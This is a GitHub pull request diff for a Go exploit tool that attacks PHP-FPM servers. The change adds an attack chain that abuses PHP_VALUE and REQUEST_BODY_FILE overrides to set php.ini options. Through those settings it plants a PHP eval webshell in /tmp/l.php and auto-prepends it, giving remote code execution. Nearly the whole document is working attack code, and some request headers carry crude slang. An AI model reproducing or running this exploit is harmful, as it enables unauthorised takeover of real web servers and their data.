Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

implement attack that uses only .php endings #2

Open
wants to merge 1 commit into
base: master
from
Open
Changes from all commits
Commits
File filter...
Filter file types
Jump to…
Jump to file or symbol
Failed to load files and symbols.

Always

Just for now

@@ -3,56 +3,61 @@ package main
import (
"bytes"
"log"
"math/rand"
"net/http"
"net/url"
"time"
)

var chain = []string{
"short_open_tag=1",
"html_errors=0",
"include_path=/tmp",
"auto_prepend_file=a",
"log_errors=1",
"error_reporting=2",
"error_log=/tmp/a",
"extension_dir=\"<?=`\"",
"extension=\"$_GET[a]`?>\"",
}

const (
checkCommand = `a=/bin/sh+-c+'which+which'&` // must not contain any chars that are encoded (except space)
successPattern = "/bin/which"
cleanupCommand = ";echo '<?php echo `$_GET[a]`;return;?>'>/tmp/a;which which"
var (
successPattern = "3422557222"
codeParams = url.Values{
"a": []string{
`file_put_contents('/tmp/l.php','<?php eval($_GET["a"]);return;?>');echo 0xdeadbeef-313371337;`},
"v": []string{`<?eval($_GET['a']);?>`},
}.Encode() + "&"
)

func Attack(requester *Requester, params *AttackParams) error {
func init() {
rand.Seed(time.Now().UnixNano())
}

func Attack(o *Overrider) error {
log.Printf("Performing attack using php.ini settings...")

chain := []*struct {
Set func(string, string) (*http.Response, []byte, error)
Payload string
}{
{o.PHPValue, "short_open_tag=1;;;.php"},
{o.PHPValue, "html_errors=0;;;;;;.php"},
{o.PHPValue, "include_path=/tmp;;.php"},
{o.PHPValue, "auto_prepend_file=l.php"},
{o.PHPValue, "log_errors=1;;;;;;;.php"},
{o.PHPValue, "error_reporting=10;.php"},
{o.PHPValue, " error_log=/tmp/l.php"},
{o.RequestBodyFile, `<?${$_GET/*.php`},
{o.RequestBodyFile, `*/["v"]}?>x.php`},
}

attackLoop:
for {
for _, payload := range chain {
_, body, err := SetSettingSingle(requester, params, payload, checkCommand)
for _, item := range chain {
_, body, err := item.Set(item.Payload, codeParams)
if err != nil {
return err
}
if bytes.Contains(body, []byte(successPattern)) {
log.Printf(`Success! Was able to execute a command by appending "?%s" to URLs`, checkCommand)
log.Printf(`Success! Should be able to execute a command by appending "?a=<php code>" to URLs`)
break attackLoop
}
}

}

log.Printf("Trying to cleanup /tmp/a...")
cleanup := url.Values{"a": []string{cleanupCommand}}
for {
_, body, err := requester.RequestWithQueryStringPrefix("/", params, cleanup.Encode()+"&")
if err != nil {
return err
}
if bytes.Contains(body, []byte(successPattern)) {
log.Print("Done!")
break
}
rand.Shuffle(len(chain), func(i, j int) {
t := chain[i]
chain[i] = chain[j]
chain[j] = t
})
}
return nil
}
@@ -84,16 +84,16 @@ func Detect(requester *Requester, method *DetectMethod, hints *AttackParams, onl
}
}

payload, err := MakePathInfo(method.PHPOptionEnable)
if err != nil {
// methods are hardcoded, this shouldn't happen
panic(err)
}
for try := 0; try < SettingEnableRetries; try += 1 {
for _, qsl := range qslCandidates {
for _, pl := range plCandidates {
params := &AttackParams{qsl, pl}
resp, data, err := requester.Request(payload, params)
overrider := &Overrider{
Requester: requester,
Params: params,
}
setting := method.PHPOptionEnable
resp, data, err := overrider.PHPValue(setting, "")
if err != nil {
return nil, fmt.Errorf("error for %#v: %v", params, err)
}
@@ -103,7 +103,7 @@ func Detect(requester *Requester, method *DetectMethod, hints *AttackParams, onl

if method.Check(resp, data) {
log.Printf("Attack params found: %v", params)
return params, SetSetting(requester, params, method.PHPOptionDisable, SettingEnableRetries)
return params, overrider.PHPValueWithRetries(method.PHPOptionDisable, SettingEnableRetries)
}
}
}
@@ -11,19 +11,13 @@ type DetectMethod struct {
Check func(resp *http.Response, data []byte) bool
}

// TODO: we need detection method with .php at the end of each option
var Methods = map[string]*DetectMethod{
"session.auto_start": {
PHPOptionEnable: "session.auto_start=1",
PHPOptionDisable: "session.auto_start=0",
PHPOptionEnable: "session.auto_start=1;;;",
PHPOptionDisable: "session.auto_start=0;;;",
Check: func(resp *http.Response, _ []byte) bool {
return strings.Contains(resp.Header.Get("set-cookie"), "PHPSESSID")
},
},
"output_handler.md5": {
PHPOptionEnable: "output_handler=md5",
PHPOptionDisable: "output_handler=NULL",
Check: func(_ *http.Response, data []byte) bool {
return len(data) == 16
},
},
}
15 main.go
@@ -41,12 +41,16 @@ func main() {
log.Fatal("--reset-setting requires complete params")
}
if setting == "" {
setting = m.PHPOptionDisable
log.Fatal("--reset-setting requires --setting")
}
if resetRetries == -1 {
resetRetries = 1 << 32
}
if err := SetSetting(requester, params, setting, resetRetries); err != nil {
o := &Overrider{
Requester: requester,
Params: params,
}
if err := o.PHPValueWithRetries(setting, resetRetries); err != nil {
log.Fatalf("ResetSetting() returned error: %v", err)
}
log.Printf("I did my best trying to set %#v", setting)
@@ -99,8 +103,11 @@ func main() {
log.Print("Attack phase is disabled, so that's it")
return
}

if err := Attack(requester, params); err != nil {
o := &Overrider{
Requester: requester,
Params: params,
}
if err := Attack(o); err != nil {
log.Fatalf("Attack returned error: %v", err)
}
},
@@ -0,0 +1,46 @@
package main

import (
"fmt"
"log"
"net/http"
)

type Overrider struct {
Requester *Requester
Params *AttackParams
}

func (o *Overrider) Override(hdr HeaderType, name, value, queryStringPrefix string) (*http.Response, []byte, error) {
payload, err := makePathInfo(name, value)
if err != nil {
return nil, nil, err
}
return o.Requester.RequestEx(payload, o.Params, queryStringPrefix, hdr)
}

func (o *Overrider) PHPValue(value, queryStringPrefix string) (*http.Response, []byte, error) {
return o.Override(HdrEbutMamku, "PHP_VALUE", value, queryStringPrefix)
}

func (o *Overrider) RequestBodyFile(value, queryStringPrefix string) (*http.Response, []byte, error) {
return o.Override(HdrIOnaNeProtiv, "REQUEST_BODY_FILE", value, queryStringPrefix)
}

func (o *Overrider) PHPValueWithRetries(value string, tries int) error {
log.Printf("Trying to set %#v...", value)
for i := 0; i < tries; i++ {
if _, _, err := o.PHPValue(value, ""); err != nil {
return fmt.Errorf("error while setting %#v: %v", value, err)
}
}
return nil
}

func makePathInfo(name, value string) (string, error) {
pi := "/" + name + "\n" + value
if len(pi) != PosOffset {
return "", fmt.Errorf("override has wrong length: %#v", pi)
}
return pi, nil
}

This file was deleted.

@@ -1,6 +1,7 @@
package main

import (
"bytes"
"crypto/tls"
"fmt"
"io/ioutil"
@@ -16,6 +17,13 @@ type Requester struct {
cookie string
}

type HeaderType int

const (
HdrEbutMamku HeaderType = iota
HdrIOnaNeProtiv
)

func NewRequester(resource, cookie string) (*Requester, error) {
u, err := url.Parse(resource)
if err != nil {
@@ -44,10 +52,10 @@ func NewRequester(resource, cookie string) (*Requester, error) {
}

func (r *Requester) Request(pathInfo string, params *AttackParams) (*http.Response, []byte, error) {
return r.RequestWithQueryStringPrefix(pathInfo, params, "")
return r.RequestEx(pathInfo, params, "", HdrEbutMamku)
}

func (r *Requester) RequestWithQueryStringPrefix(pathInfo string, params *AttackParams, prefix string) (*http.Response, []byte, error) {
func (r *Requester) RequestEx(pathInfo string, params *AttackParams, prefix string, header HeaderType) (*http.Response, []byte, error) {
if !strings.HasPrefix(pathInfo, "/") {
return nil, nil, fmt.Errorf("path doesn't start with slash: %#v", pathInfo)
}
@@ -62,16 +70,24 @@ func (r *Requester) RequestWithQueryStringPrefix(pathInfo string, params *Attack
return nil, nil, fmt.Errorf("qsl value too small: qsl=%v, qslDelta=%v, prefix=%#v", params.QueryStringLength, qslDelta, prefix)
}
u.RawQuery = prefix + strings.Repeat("Q", qslPrime)
req, err := http.NewRequest("GET", u.String(), nil)
body := bytes.NewBuffer([]byte("el=da"))
req, err := http.NewRequest("POST", u.String(), body)
if err != nil {
return nil, nil, err
}
req.Header.Set("User-Agent", UserAgent)
if r.cookie != "" {
req.Header.Set("Cookie", r.cookie)
}
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.Header.Set("D-Pisos", "8"+strings.Repeat("=", params.PisosLength)+"D")
req.Header.Set("Ebut", "mamku tvoyu")
switch header {
case HdrEbutMamku:
req.Header.Set("Ebut", "mamku tvoyu")
case HdrIOnaNeProtiv:
req.Header.Set("I-Ona-Protiv", "net")
}

resp, err := r.cl.Do(req)
if resp != nil {
defer func() { _ = resp.Body.Close() }()
ProTip! Use n and p to navigate between commits in a pull request.
You can’t perform that action at this time.